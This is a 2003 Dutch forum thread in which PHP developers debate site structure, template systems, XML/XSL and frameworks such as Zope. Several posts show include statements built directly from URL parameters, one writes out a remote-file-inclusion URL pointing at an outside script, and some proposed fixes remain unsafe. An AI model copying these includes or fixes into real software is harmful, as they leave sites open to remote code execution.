lang verhaal.
//Uit gegaan van 't header-main-footer model

Daar heb je wel gelijk in, zelf laat ik daarom eerst die includes controleren of ze wel voor komen in m'n sql db.
zo heb ik bijv. index.php?navigatiepagina=nieuws
die include dan de nieuws pagina.
maar ik laat 'm dan dus eerst controlleren via een simpel querytje of nieuws voorkomt in de db.
en daarin staat dan weer welke file geinclude moet worden.
als je dan index.php?navigatiepagina=http://server.iets/showsource.php
zou gebruiken, komt deze niet voor in m'n sql en wordt ie so wie so al genegeerd

//edit
ik weet 't het is geen nette oplossing en zo... daarom hoop ik ook 't nodige op te steken van dit topic

[ Voor 10% gewijzigd door himlims_ op 28-04-2003 02:56 ]

[OkkE]

Ik programmeer nog helemaal niet lang, ben pas een jaar geleden (via school) begonnen met ASP. Nu sinds een maand of twee werk ik ook ColdFusion en PHP, hier op mijn stage. Ik ben in de vrije uurtjes nu begonnen met mijn eigen site in PHP. HTML en CSS gebruik ik al jaren, die kennis heb ik al wel.

Mijn structuur is als volgt:

code:

/root
  |- /gfx   // map: plaatjes
  |- /inc   // map: files die ge-include worden
  |- /admin // map: alle admin files (beveiligd met password)
  |- /js    // map: alle JS files
  |- index.php  // php-template
  |- style.css  // de css-file voor opmaak
  |- error.php  // custom error-page
  |- ...    // rest van de files

Dan nog even over de beveiliging van je PHP files, ik gebruik nu (letterlijk) het volgende script. En wilde - na het lezen van dit nuttige topic - graag weten of dit een goede beveiliging is voor een persoonlijke site:

PHP:

$nav = $HTTP_GET_VARS['nav'];

if ($nav == "home") {

    $theme_color = "ff5000";

} elseif ($nav == "portfolio") {

    $theme_color = "669900";

} elseif ($nav == "") {

    $nav = "home";
    $theme_color = "ff5000";

} else {

    header("location: error.php?error_nr=001");
    exit;

Nu vroeg ik me af, moet ik een tweede variabele maken die ik (net als theme_color) pas binnen de if-statement een waarde geef? Of is de else voldoende om exploits te voorkomen?

[Verwijderd]

// on-topic

Niemand geeft antwoord op TS vraag. Het enige wat hier gebeurd is dat TS' stelling (er is geen standaard, iedereen doet het op een eigen manier) inderdaad klopt, en dat er geen oplossing is voor dit probleem. Afgezien van content en vormgeving scheiden, is er simpelweg geen standaard.

//off-topic

Verwijderd schreef op 27 april 2003 @ 23:40:
Misschien niet juist, maar ik blijf bij mijn standpunt dat mensen van buiten niet weten hoe ik mijn bestanden cq mappen indeel.

'security by obscurity' heet dat, en daarvan is algemeen bekend dat het niet secure is. Niet doen dus.

Stel nu je webserver heeft een storing en geeft gewoon het .php bestand weer? Op die manier heb ik de source van de t.net frontpage nog op m'n HD staan (ter referentie).

Daarnaast is het gewoon niet nodig.

[jsiegmund]

ivy schreef op 27 April 2003 @ 23:01 wat tekst:

Zo een systeem gebruik ik op het moment ook, en daar ben ik dus alles behalve tevreden mee. Waarom? zie boven

Ik mis hier nog de wat meer technische oplossingen. Ik ga naar het widget systeem even kijken, en even proberen of dat misschien een oplossing is. Op dit moment valt het me wel erg op dat de structuur van een site meestal bepaald wordt door de grootte ervan. Voor een kleine site wordt een simpel systeem gemaakt, voor grotere projecten komen OO technieken e.d. naar boven. WAAROM?
Dat het in eerste opzicht de meest logische oplossing is zie ik ook wel in, ik mis alleen een systeem wat voor beide zaken gewoon goed werkt.

Ik heb in m'n bescheiden loopbaan ook eens kennis gemaakt met Zope. Was er toen niet bepaald van onder de indruk, mede omdat ik het idee had met PHP ongeveer hetzelfde te kunnen doen zonder alle Zope technieken te hoeven leren, en in hetzelde tijdbestek. Achteraf moet ik zeggen dat er toch ook wel iets voor te zeggen is. Het bied voor elke website die je erin bouwt vanzelf een soort standaard manier van werken. Natuurlijk blijf je zitten met verschillende soorten van includes (om het zo maar even te noemen) etc. Ik heb er ook over zitten denken om een dergelijk systeem zelf in elkaar te zetten, maar dan zonder de extra's die ik toch niet gebruik. Dus een soort van cms waarin je (echt heel basic gezien) je files edit en bestandsstructuur kan aanpassen. Hierbij dan een standaard systeem van file-names waardoor elke site vrij logisch opgebouwd wordt en je dus overal eenzelfde soort structuur zal krijgen. Als je dan ook nog zover kunt gaan dat je je index.php standaard kan krijgen, met de juiste classes en functions om alles te kunnen uitvoeren wat je wil (dus aparte onderdelen ook apart aan kunnen roepen) zit je qua standaardisering aardig in de richting. Probleem is dat je dan toch weer je eigen systeempje zit te bedenken, waar een ander misschien toch weer wat functionaliteit in mist.

Zijn er nooit eens coders beziggeweest om voor PHP een "way of coding" uit te vinden? Want voor zover ik het nu zie doet iedereen een beetje z'n eigen ding. Er zijn natuurlijk overlappen, maar er is geen methode waarvan iedereen zegt "ja, dat werkt opzich best ok zo!"

Oh en kunnen de veiligheidsvragen / hackersrommel misschien buiten dit topic gehouden worden? Het was mijn plan hier een discussie te houden over een correcte manier van het bouwen van websites. Aangeven waarom een bepaalde methode niet veilig is / niet geschikt is prima, maar als je je eigen scriptjes niet vertrouwd maak daar even een nieuwe draad van pleaze.

[Janoz]

Ok, ten eerste ff mijn ongefundeerde flamerige mening over index?page=content achtige template systemen....

Nu zal ik het ff proberen te onderbouwen

Dit systeem is waarschijnlijk ooit ergens ontstaan door iemand die hierover niet echt heeft nagedacht. Vervolgens is het enorm verspreid door tutsites die van zichzelf denken dat ze er verstand van hebben (lees phpfreakz oid ) en daarna wordt het lustig doorgekopieerd. De gebreken van het systeem worden maar opgelapt waardoor de simpelheid, wat eigenlijk het enige voordeel was, compleet verloren gaat.

Hoe zou het dan moeten?

De meest simpele oplossing mogenlijk is door niet het template in een index.php te zetten, maar te verdelen over top.php en bottom.php. Alles wat voor het include gedeelte staat gooi je in top en alles wat erna zit gooi je in bottom. ipv dat je de content nu in het template include, include je nu het template in de content. Bovenaan elk bestand zet je include(top) en onderaan zet je include(bottom).

Voordelen:
- Geen ingewikkeld systeem nodig om get parameters te verifieren. Als een content pagina niet bestaat komt er een mooie 404.
- Misbruik niet mogenlijk omdat content niet afhangt van user vars.
- Gebruik van speciale footer of header voor een enkele pagina mogenlijk.
- Nog steeds een erg simpel template systeem.

Oh en kunnen de veiligheidsvragen / hackersrommel misschien buiten dit topic gehouden worden?

mwah, vooral dit systeem wordt vaak gebruikt, en dat terwijl het een erg onveilig systeem is. Eigenlijk zou er een grote gebruik dit systeem niet campagne moeten komen .. Het duidelijk afraden van dit veelgebruikte systeem hoort imho dus wel thuis in deze draad, maar ik ben het met je eens dat we het hier meer over wel te gebruiken methodes zouden moeten hebben. Je kunt echter niet verwachten dat er daardoor geen hackachtige dingen terug komen, aangezien dit een erg belangrijk onderdeel is in het te gebruiken template ..

Ik zit nu op het werk dus kan niet zoveel tijd besteden, maar zal later nog ff wat vertellen over wat leuke systemen en de voordelen hiervan

[pjonk]

Scheiding tussen logica is IHMO het kernwoord.

Voor de website van mijn bedrijf heb ik gebruik gemaakt van templates en ook de regel genomen om geen enkele HTML tag in mijn code te gebruiken.

Ik ben wel gecharmeerd geraakt van XSLT. Dan heb je IMHO een perfecte scheiding tussen (data) logica en presentatie.

Er zijn wel XSLT processors voor PHP beschikbaar. Waar ik me alleen zorgen om maak is de performance van de XSLT processors.

[Verwijderd]

op nog even op het meegeven van een content-variabele terug te komen, kun je dat niet veilig(er) maken door iets als

$contentVar = "http://www.mijnsite.nl/".$contentVar;

toe te voegen? zo kun je toch voorkomen dat scripts vanaf andere locaties worden gebruikt?

[jsiegmund]

Verwijderd schreef op 28 April 2003 @ 11:40:
op nog even op het meegeven van een content-variabele terug te komen, kun je dat niet veilig(er) maken door iets als

$contentVar = "http://www.mijnsite.nl/".$contentVar;

toe te voegen? zo kun je toch voorkomen dat scripts vanaf andere locaties worden gebruikt?

Of simpeler: "./" maar of dat helemaal safe is weet ik niet. Dat valt via google makkelijk terug te zoeken lijkt me.

[jsiegmund]

En scheiden van de aparte delen van de code is inderdaad de oplossing. Maar welke technieken (naast css, dat is me iets te triviaal om te behandelen) zijn hier nu het best geschikt voor, en op welke manier gebruik je die dan.

[ Voor 38% gewijzigd door jsiegmund op 28-04-2003 16:11 ]

[Twan V]

Ik ben zelf nog niet zo'n enorm ervaren programmeur in PHP en al helemaal niet in JS en ik vind het keer op keer moeilijk om een duidelijke structuur aan te leggen.

Een advies wat ik wel iedereen kan geven is om er voordat je ook maar een letter typt, op papier te zetten wat je precies wilt en hoe je het ingedeeld wilt hebben. Ik ben inmiddels twee weken aan het brainstormen over een uploadscript wat ik ga maken. Niet dat het zo moeilijk is om te maken, maar ik ben er nog niet helemaal uit hoe ik het zelf wil.

Zelf ben ik nu aan het experimenteren met een onafhankelijke mapstructuur, zie Twannografie.

[eXite]

Ik gebruik altijd:

-HTML
-CSS
-PHP
-MySQL

HTML voor de statische content, daar heb je geen php voor nodig, en php voor de dynamische content.. en dat weer i.c.m. CSS en MySQL

[kvdveer]

Bestaan er dan helemaal geen goed uitgedachtte structuren?
NOFI voor iedeen hier die iets verzonnen heeft, maar er zal toch vast wel eens iemand een studie gedaan hebben naar hoe je een PHP project aanpakt, in plaats van spelenderwijs ontdekken dat bepaade dingen toch niet handig zijn?

[jsiegmund]

kvdveer schreef op 28 April 2003 @ 18:39:
Bestaan er dan helemaal geen goed uitgedachtte structuren?
NOFI voor iedeen hier die iets verzonnen heeft, maar er zal toch vast wel eens iemand een studie gedaan hebben naar hoe je een PHP project aanpakt, in plaats van spelenderwijs ontdekken dat bepaade dingen toch niet handig zijn?

Voila daar stuit je dus op de kern van m'n vraag... Ik heb wel wat artikelen gevonden maar allemaal nou niet echt volledig of niet to-the-point. Dus; of er gaat hier iemand met een enorm goed stuk komen wat precies is wat we zoeken.. of we gaan het zelf doen!

[Verwijderd]

Velen schreven:
[pro-template-engine]

En daarom gebruik ik nu de widget-methode. De widget-methode houdt in dat je in PHP libraries maakt van kleine objecten die her te gebruiken zijn. Die kleine objecten kan je weer gebruiken in grote objecten en uiteindelijk bouw je een complete pagina uit objecten. Als basis zou je phpHtmlLib kunnen gebruiken.

Ik ben toch eigenlijk behoorlijk tegen templates en phpHtmlLib achtige dingen.
En uiteraard heb ik daar m'n redenen voor.

Het sleutelwoord wat al veel genoemd is is natuurlijk: scheiding van code.

Waarom geen phpHtmlLib?
Het antwoord op deze vraag is behoorlijk simpel.
Het probleem met phpHtmlLib is dat je geen echte scheiding bewerkstelligt, het is niet meer als een andere manier van HTML schrijven.

Waarom geen template-engine
Hoewel dit wel een zekere scheiding creeërt is het vaak het geval dat er gewoon php-variabelen doorgegeven worden.
Daarnaast heeft elke eigenzinnige template-engine een taal met een andere syntax, erg flexibel is het dus ook niet.

Hoe dan wel?
Nadat ik de bovenstaande opties de grond in geboord heb, moet ik natuurlijk wel mijn zicht op de zaken verder uitleggen.

Zorg als eerste dat je een framework heb wat bij voorkeur bij al je applicaties hetzelfde is.
Dit framework zou moeten/kunnen zorgen voor de database connectie(s), beveiliging, indirecte benadering van get/post/cookie en session variabelen, etc.
Een andere belangrijke taak van het framework zou het op een bepaalde manier aanroepen / includen van files die afhankelijk zijn van de aanroep moeten zijn.
Regel daarmee ook dat je al je classes over verschillende files verdeelt, in een directory structuur.

Laat de scripts / het framework XML uitvoeren, zodat je je uitvoer op alle mogelijke manier kan weergeven (html, wml, pdf, etc).

Een goede taal om je templates in te definieëren is bijvoorbeeld XSL.

Conclusie:
1. Gebruik als eerste een stukje standaard code, zodat je niet bij elk project dezelfde dingen zit te programmeren.
2. Gebruik als data-uitvoer XML, dan kan je er alles mee.
3. Gebruik een geaccepteerde template-taal, vanwege de flexibiliteit.

[Orphix]

XSL heb ik in het verleden ook vaak gebruikt icm PHP het werkt zeer prettig. Je moet er alleen op letten dat je je 'bussiness logic' binnen php houdt en niet teveel logic in je templates gaat steken.
Wat ik echter een groot nadeel vindt is dat een xsl bestand vergeleken met traditionele 'search-and-replace' templates veel ingewikkelder te zijn. Nu is dat voor mij persoonlijk en de meeste programmeurs geen probleem. Maar het betekent wel dat het moeilijk aan te passen is door de gemiddelde computergebruiker.

[jsiegmund]

Zou NextGeneration misschien eens een compact voorbeeldje kunnen geven van zo'n standaardje waarmee hij begint? Dat is immers wel een soort filetje dat we zoeken, of iig een manier van werken. Ik zit nog een beetje te duppen met het al dan niet toepassing van OO-objecten, en waar / hoe / wanneer je dat dan het beste kan doen.

[TlighT]

kvdveer schreef op 28 April 2003 @ 18:39:
Bestaan er dan helemaal geen goed uitgedachtte structuren?
NOFI voor iedeen hier die iets verzonnen heeft, maar er zal toch vast wel eens iemand een studie gedaan hebben naar hoe je een PHP project aanpakt, in plaats van spelenderwijs ontdekken dat bepaade dingen toch niet handig zijn?

Je zou eens kunnen kijken naar Ambivalence of Phrame, beiden Model 2 (MVC) implementaties voor php webapps:

Ambivalence is a Model-View-Controller framework for PHP web development. Based on the Java-based Maverick project, Ambivalence also offers clean MVC separation and an XML sitemap. Ambivalence provides an optional service to authenticate and enforce access controls upon users, based on the JBoss implementation of the J2EE Java Authorization and Authentication Service (JAAS).

Phrame encourages application architectures based on the "Model2" approach, a variation of the classic Model-View-Controller (MVC) design paradigm. Phrame provides its own Controller component and integrates with other technologies to provide the Model and the View. For the Model, Phrame can interact with any standard data access technology, including Pear DB/DataObjects, and ADODB. For the View, Phrame works well with PHP, Smarty Templates, XSLT, Flash MX, and other presentation systems.

Ik heb niet zoveel ervaring met php maar Model 2 is een vrij beproefde architectuur voor jsp/servlet development.

[Verwijderd]

iCe01 schreef op 28 April 2003 @ 19:50:
Zou NextGeneration misschien eens een compact voorbeeldje kunnen geven van zo'n standaardje waarmee hij begint? Dat is immers wel een soort filetje dat we zoeken, of iig een manier van werken. Ik zit nog een beetje te duppen met het al dan niet toepassing van OO-objecten, en waar / hoe / wanneer je dat dan het beste kan doen.

Ik wil best een tipje van de sluier optillen, maar mijn baas zal het niet op prijs stellen als ik even alle files beschikbaar stel.

Ten eerste moet je niet denken aan 1 filetje, maar het is verzameling van classes.
De request komt (indirect) binnen bij je hoofdfile.
Deze hoofdfile doet niet meer als een instantie maken van het 'frame' object.
Dit frame object include de standaard klasses (db etc), leest je config file uit en aan hand daarvan maakt hij de db connectie(s), include project specifieke klassen, etc.

Als laatste include hij de klasse die afhankelijk is van de request variabele(n).

Nadat het frame van de XML data binnen heeft kan het beginnen aan het genereren van de output adhv van een bepaald XSL template.

[Verwijderd]

Hoewel ik zeer geloof in het gebruik van XML/XSL op het web, gebruik ik nog steeds de volgende combinatie:
+ HTML: Puur voor de structuur van de website (layers, tables ed) gebruiken. Zoveel mogelijk opmaak-eigenschappen (mbv classes) overlaten aan:

+ CSS: Alle opmaak hierin defineren mbv classes. Zo raak je het overzicht niet kwijt en kun je makkelijk elementen groeperen en makkelijk aanpassen. Ten alle tijde vermijdt ik inline css als dit:

code:

<table style = "border:'solid 1px #000000';">

maar los ik het alsvolgt op:

code:

<table class = "parent">

Waarbij ik de class alvolgt maak:

code:

<style>
table.parent {
  border:'solid 1px #000000';
}
</style>

Of nog beter in een css-file waarin deze informatie staat.

+ PHP/ASP: Bij voorkeur gebruik ik PHP, maar kwa mogelijkheden verschilt het niet erg veel. Ik gebruik PHP liever vanwege het 'makkelijke' programmeren (veel algoritmes die je niet opnieuw in functies uit hoeft te schrijven) en de makkelijk database-connectie. Omdat ikzelf een bloedhekel heb aan het combineren van PHP en HTML binnen een file, ben ik een tijdje geleden begonnen met het uitschrijven van een HTML-class. Een voorbeeldje hieruit:

PHP:

<?
include_once("lib/html_ext.class.php");
$output = new html_ext;
$output->start("Paginatitel", "css/css.css", "js/js.js", "bgcolor=#000000");
$output->addElement("hr");
$output->addBreak();
$output->addLink("Ilse", "http://www.ilse.nl");
$output->end();

echo $output->getHTML();
?>

+MySQL: Dit gebruik ik als database simpelweg omdat het snel en simpel is. Hoewel ik het volledig eens ben met de stelling dat MySQL veel functionaliteiten mist (zie lijstje ACM) is het toch een erg krachtige en snelle database en biedt genoeg mogelijkheden voor web-systemen. Met ASP is MSSQL zeer goed te gebruiken.

Ofwel, je moet gewoon keuzes maken. Op het inernet zijn talloze goede (opmaak-)talen (HTML, CSS, CF, JSP, ASP, PHP) , databases (PostgreSQL, MySQL, MSSQL) en grafische elementen (Flash, ShockWave). Je moet dus eerst goed onderzoeken wat je eigenlijk wilt gaan bouwen en wat daar het sterkste/ betrouwbaarste/ meest effiente voor is.

[sebas]

iCe01 schreef op 28 april 2003 @ 10:22:
[...]
... onder meer iets over zope ...

Ja, daar zeg je wat. Ik gebruik ook voor zoveel mogelijk dingen zope, omdat:

- Het een gestandaardiseerde interface biedt
- een "OO filesystem" wat redelijk krachtig is om dynamische pagina's op te bouwen
- een aantal sterke scripting interfaces heeft (m.n. python, dtml, perl, php)
- een krachtige en doordachte templateengine (ja, eigen syntax )
- erg snel tot resultaten leidt door enorm hergebruik van code en het bestaan van veel plugins die je voor dynamische onderdelen kunt gebruiken
- python lekkerder code dan php (kom maar op met de flames )
- stabiel en goed draait
- free is

Gelukkig snappen dat steeds meer mensen. Wat in elk geval duidelijk is is dat grotere projecten in php snel onoverzichtelijk worden, terwijl dit in zope zonder meer mogelijk is. Maar imo vergelijk je dan ook appels met peren. Zope is een compleet framework, terwijl php toch maar een webtaaltje is.

Helaas kun je niet voor alle projecten zope gebruiken omdat het simpelweg wat lastiger is om goede zope hosting te vinden. Apache draait iedere hostingboer wel, maar bij zope moet je wel wat beter zoeken. Duurder is het vaak ok.


Wat de stelling van NextGeneration betreft, dit doet mij heel erg denken aan allerlei andere stellingen dat je maar XML moet gebruiken. De voordelen van zo'n aanpak zijn ten opzichte van de nadelen niet echt beduidend.

Je kan wel tussen het ophalen van de content een laagje XML bakken, echter waarom zou je? Je creeert op die manier wel redelijk wat overhead als je alles tussendoor als xml eruit wilt hebben. In mijn ogen kun je XML prima gebruiken om data op te slaan, in onze context vooral de content dan, Maar naar de browser stuur je gewoon (x)html, websites zijn nu eenmaal in (x)html, en niet in xml. Als je tussendoor XML wilt moet je dus voor elke pageview al het werk twee keer doen, eerst xml genereren, en vervolgens daar weer (x)html van maken. Dat tweede kun je wel allemaal met mooie libraries, XSLT of wat dan ook oplossen maar per slot van rekening schiet je er weinig mee op, de ontwikkelingstijd wordt langer, en de efficiency van je progsel gaat er zeker niet op vooruit. Als je je data niet alleen voor websites wilt gebruiken snap ik het misschien nog wel, maar op die manier maakt het voor mij weinig zin.

[Annie]

sebas schreef op 28 April 2003 @ 23:29:
Als je je data niet alleen voor websites wilt gebruiken snap ik het misschien nog wel, maar op die manier maakt het voor mij weinig zin.

En daar heb je de kern van de zaak te pakken. De tijd dat de web-bizz alleen bestond uit pagina's op het world wide web toveren is allang voorbij. Uitbouwen van je systeem naar verschillende uitgangsvormen (i-mode, wap, pdf, enz.) is nu eenmaal makkelijker als je al een tussenlaag hebt. Zonder deze tussenlaag kan je heel je "framework" op de schop nemen als de klant ineens besluit dat z'n applicatie ook via z'n nieuwe speeltje(s) op te vragen moet zijn .

[ Voor 3% gewijzigd door Annie op 28-04-2003 23:58 ]

[Verwijderd]

sebas schreef op 28 april 2003 @ 23:29:
Je kan wel tussen het ophalen van de content een laagje XML bakken, echter waarom zou je? Je creeert op die manier wel redelijk wat overhead als je alles tussendoor als xml eruit wilt hebben. In mijn ogen kun je XML prima gebruiken om data op te slaan, in onze context vooral de content dan, Maar naar de browser stuur je gewoon (x)html, websites zijn nu eenmaal in (x)html, en niet in xml. Als je tussendoor XML wilt moet je dus voor elke pageview al het werk twee keer doen, eerst xml genereren, en vervolgens daar weer (x)html van maken. Dat tweede kun je wel allemaal met mooie libraries, XSLT of wat dan ook oplossen maar per slot van rekening schiet je er weinig mee op, de ontwikkelingstijd wordt langer, en de efficiency van je progsel gaat er zeker niet op vooruit. Als je je data niet alleen voor websites wilt gebruiken snap ik het misschien nog wel, maar op die manier maakt het voor mij weinig zin.

Als jij met zekerheid kan zeggen dat alles wat jij uitvoert xhtml is, zouden er goede punten in je betoog zitten.
Maar volgens mij kan je dat zowiezo niet met zekerheid zeggen.

Wat gebeurt er nou als je opeens dezelfde data in pdf moet uitvoeren? of dat multiple layouts moet ondersteunen, of dat de users de templates moeten kunnen aanpassen, of etc...

Dan is het heel makkelijk als je je data output heel makkelijk kan laten zien, en een goed gedocumenteerde en geaccepteerde (template)taal kan (laten) gebruiken.

Daarnaast ben ik het wel met je eens dat je wat overhead krijgt (icm frame).
Maar kijk eens wat je er voor terug krijgt:
- Overzichtelijkheid van de code
- Volledige scheiding van business logic en je presentatie
- Uitvoer flexibiliteit

Verder wat betreft de overhead, als je eens goed nadenkt wat de verschillen zijn:
XML-XSL:
1. Voer je logica uit
2. Stop data in een string
3. Voer conversie uit mbv XSLT

Template parsing:
1. Voer je logica uit
2. Stop data in oerwoud van variabelen
3. Voer conversie uit mbv template-engine

Als laatste over je punt dat 'de ontwikkelingstijd langer zou zijn'. Waarom is dat?
Niet omdat je XSL moet leren, want in jou geval moet je self-made code leren.

Het zal eenmalig extra tijd kosten om het frame te ontwikkelen, maar daar staat tegenover dat je bij elk project dezelfde structuur heb en dat dubbel werk qua database connectiviteit oid er niet meer bij is.

[sebas]

Ja, ben ik het absoluut mee eens. Ik doelde met mijn xml-trolletje eigenlijk ook meer op de hype die gemaakt wordt om elke kleine site met een xml laag uit te breiden, omdat xml vaak als het formaat van de toekomst wordt aangeprezen.

Ik ging hier inderdaad van kleinere projecten uit, echter denk ik ook niet dat xml er daadwerkelijk overal tussen moet zitten. Ik geef in elk geval een krachtige SQL database (nee, niet MySQL ) de voorkeur. En ik ben er ook van overtuigd dat in de allermeeste projecten een xml laag voor meer overhead zorgt dan dat het uiteindelijk door flexibiliteit weer goed kan maken. Ik zelf werk liever met een aantal functies als wrapper voor wat sql en parse code, die ik desgewenst met wat extra classes uit kan breiden om 'ook wap' te kunnen, dan een laag xml ertussen. Dat allemaal is natuurlijk heel erg afhankelijk van de eisen aan het product, dus zeker niet generaliseerbaar.

Ik zie trouwens het nut van xml absoluut wel in, sterker nog, en dat mag paradoxaal klinken, ik maak ook in kleinere projecten gebruik van xml, maar meer in de vorm van een text-based database. Ik sla dus ook op in de vorm van xml. Hierdoor blijft in dit geval mijn content bruikbaar voor later. Dit is erg handig om platformonafhankelijk te blijven.

[sjokki]

Verwijderd schreef op 28 April 2003 @ 19:14:
[...]

Ik ben toch eigenlijk behoorlijk tegen templates en phpHtmlLib achtige dingen.
En uiteraard heb ik daar m'n redenen voor.

Het sleutelwoord wat al veel genoemd is is natuurlijk: scheiding van code.

Waarom geen phpHtmlLib?
Het antwoord op deze vraag is behoorlijk simpel.
Het probleem met phpHtmlLib is dat je geen echte scheiding bewerkstelligt, het is niet meer als een andere manier van HTML schrijven.

Ik neem aan dat je scheiding van presentation logic en application logic bedoelt met "scheiding van code". Het doel daarachter is dat je ooit de data uit een andere bron zou kunnen halen of op een andere manier zou kunnen presenteren. Dat is prima mogelijk als je widgets gebruikt. Je maakt een object voor het ophalen van de data en je maakt een object voor de output. Die twee objecten geef je met compositie aan een derde object die de beide objecten gaat besturen. De widgets staan hier helemaal los van want die zitten verborgen achter de interface van het output-object. Voor het controller-object zou je net zo goed geen widgets kunnen gebruiken. Het punt is alleen dat je met widgets kan voorkomen dat je continu hetzelfde zit te schrijven. Terwijl dat met templates wel gebeurt wanneer niet iedere pagina exact dezelfde opbouw heeft.

Met Xslt heb ik weinig ervaring. Ik ben benieuwd hoe het met de reusability zit bij Xslt. Moet iedere stylesheet voor html-output beginnen met <html><head> of hoef je dat maar een keer ergens neer te zetten?

[Dennis]

Verwijderd schreef op 27 april 2003 @ 23:01:

PHP:

<?
include ("$show.php");
?>

Zonder alles gelezen te hebben en overal op in willen gaan vind ik dit hééél ranzige code.

Zo is beter:

PHP:

<?
include($show.".php");
?>

[Verwijderd]

sjokki schreef op 29 April 2003 @ 06:41:
Ik neem aan dat je scheiding van presentation logic en application logic bedoelt met "scheiding van code".

Juist.. (als je met application logic tenminste hetzelfde bedoelt als business logic)

Het doel daarachter is dat je ooit de data uit een andere bron zou kunnen halen of op een andere manier zou kunnen presenteren.

Met dat 'data uit een andere bron halen' ben ik het niet eens.
De scheiding van die twee is bedoelt voor:
1. Presentatie kan veranderen zonder dat je code (business/application logic) dat ook doet
2. Als gevolg hiervan nettere code.

Dat is prima mogelijk als je widgets gebruikt. Je maakt een object voor het ophalen van de data en je maakt een object voor de output. Die twee objecten geef je met compositie aan een derde object die de beide objecten gaat besturen. De widgets staan hier helemaal los van want die zitten verborgen achter de interface van het output-object. Voor het controller-object zou je net zo goed geen widgets kunnen gebruiken. Het punt is alleen dat je met widgets kan voorkomen dat je continu hetzelfde zit te schrijven.

Ik zeg ook niet dat het geen verbetering is, maar je blijft zowiezo in de phpcode zitten (geen échte scheiding). In principe blijf de HTML code in PHP geschreven!

Terwijl dat met templates wel gebeurt wanneer niet iedere pagina exact dezelfde opbouw heeft.

Met Xslt heb ik weinig ervaring. Ik ben benieuwd hoe het met de reusability zit bij Xslt. Moet iedere stylesheet voor html-output beginnen met <html><head> of hoef je dat maar een keer ergens neer te zetten?

Reusability zal je zelf moeten implementeren (soort van kop en bottom template, of met iframes).

[Verwijderd]

sebas schreef op 29 April 2003 @ 04:03:
Ja, ben ik het absoluut mee eens. Ik doelde met mijn xml-trolletje eigenlijk ook meer op de hype die gemaakt wordt om elke kleine site met een xml laag uit te breiden, omdat xml vaak als het formaat van de toekomst wordt aangeprezen.
Ik ging hier inderdaad van kleinere projecten uit,

Mag ik je er even aan herinneren dat we het hier hebben over 'standaarden'.

echter denk ik ook niet dat xml er daadwerkelijk overal tussen moet zitten. Ik geef in elk geval een krachtige SQL database (nee, niet MySQL ) de voorkeur. En ik ben er ook van overtuigd dat in de allermeeste projecten een xml laag voor meer overhead zorgt dan dat het uiteindelijk door flexibiliteit weer goed kan maken.

En waar komt die overhead volgens jou daardoor (zie m'n post een stukje hierboven)

Ik zelf werk liever met een aantal functies als wrapper voor wat sql en parse code, die ik desgewenst met wat extra classes uit kan breiden om 'ook wap' te kunnen, dan een laag xml ertussen. Dat allemaal is natuurlijk heel erg afhankelijk van de eisen aan het product, dus zeker niet generaliseerbaar.

Je mist volgens mij het punt behoorlijk.
Je zegt dus eigenlijk 'Nou ik weet toch niet wat mijn klanten willen, dus ik ga er ook niet voor zorgen dat als ze wat anders willen, dat zo makkelijk mogelijk gaat'!

Jij gaat dus liever je code op de schop nemen, ipv een template toevoegen (over langere ontwikkeltijd gesproken)?

[Verwijderd]

ddc schreef op 29 April 2003 @ 07:33:
[...]

Zonder alles gelezen te hebben en overal op in willen gaan vind ik dit hééél ranzige code.

Hier stond comment op code
[/php]

_{Maar wat heeft dit in hemelsnaam met dit topic te maken?}

[jsiegmund]

Maar wat heeft dit in hemelsnaam met dit topic te maken?

Niet veel dus laten we weer terug naar het onderwerp gaan. Zoals ik het nu bekijk is het (logisch ook) erg afhankelijk van je site welke technieken je kunt aanspreken (en dan bedoel ik dus een verantwoorde keuze). Maar waarom? Waarom zou je voor een grote site andere technieken nodig hebben dan voor een kleintje. Met mijn eerdere verwijzing naar Zope wil ik aangeven dat dat opzich niet nodig is. Op die manier maak je een grote en een kleine site op (relatief) dezelfde manier, zei het dat een grote site natuurlijk meer werk met zich meebrengt. Opzich lijkt me de opzet redelijk gelijk, echter verschilt de data die je erin zet. Want zeg nu zelf; in feite is elke website gelijk toch. Okee er zitten verschillen in de opbouw, er zitten verschillende technieken achter en (misschien nog wel het grootste verschil) iedereen heeft z'n eigen manier ontwikkeld om dingen te doen. Maar waar je gewoon aan blijft hangen is een interface met content, en hoe die content op je scherm verschijnt maakt dan opzich niet veel uit toch (zonder even te letten op snelheid / veileigheid enz)?

sebas maakt trouwens een goed punt over Zope; het is niet superbreed ondersteund en dus betaal je er ook snel meer voor dan een simpele apachehosting. Wat ik me bij dat systeem altijd heb afgevraagd is waarom er niet iets dergelijks is geschreven in een wat meer standaard omgeving. Functionaliteit zal dan misschien verschillen, en ze zullen uiteraard goeie overwegingen gemaakt hebben om het op deze manier te doen; maar waarom niet een soortgelijke omgeving in PHP-stijl?

Mijn ideaal op dit moment (en misschien dat ik daar eens aan moet gaan werken) is een interface waarin je een nieuwe site kan "definieren", daarbij een layout opgeeft met een aantal "variabelen" waarin dan uiteindelijk je content kan komen te staan. Dit kan ik natuurlijk best realiseren met de PHP/HTML/CSS combi (en zo heb ik tot nu toe ook altijd gewerkt), ik ben alleen nooit tevreden geweest over de structuur van de bestanden.

Klein voorbeeldje: je hebt een tabel waar een titel bovenstaat. Met templates kun je maar 1 kant op (zoals ik het zie); een template definieren met daarin een 'title' en 'body' attribuut, en vervolgens in al je documenten een array definieren met daarin de 'title' en 'body' voor die pagina. Andere optie: een database met titel - pagina, vind ik ook niet echt jofel aangezien er nog wel eens php in die pagina wil staan (je wil een gastenboekje weergeven ofzo)... dan moet je weer gaan scheiden tussen code die in files moet en code die je in je database zet. En nog een mogelijkheid; je tabelstructuur in elk document opslaan; hoezo dubbel werk!?

Okee misschien niet helemaal een proper voorbeeld, maar het geeft denk ik wel redelijk aan met welk probleem ik zit. Een interface met voor elk variabel veld een tekst-vakje, invullen en opslaan; vrij simpel en eigenlijk (onwijs basic) wat ik zoek. Maar hoe ga je te werk achter die interface?

[-RenE-]

Voor de mensen die een goed alternatief voor Zope zoeken is Krysalis wellicht wat:

http://www.interakt.ro/products/Krysalis/index.php

Transform XML documents into XHTML with PHP and XSL
For a web applications programmer who has to develop complex enterprise level applications, web services or multi language dynamic websites (Content Management Systems), Krysalis is a development platform that improves the Apache/PHP framework by separating the application logic from the presentation layer, using open standards as XML/XSL/SOAP. Unlike any other application servers and frameworks, our platform is an open source solution for productive web development.

[jsiegmund]

-RenE- schreef op 29 April 2003 @ 12:43:
Voor de mensen die een goed alternatief voor Zope zoeken is Krysalis wellicht wat:

http://www.interakt.ro/products/Krysalis/index.php


[...]

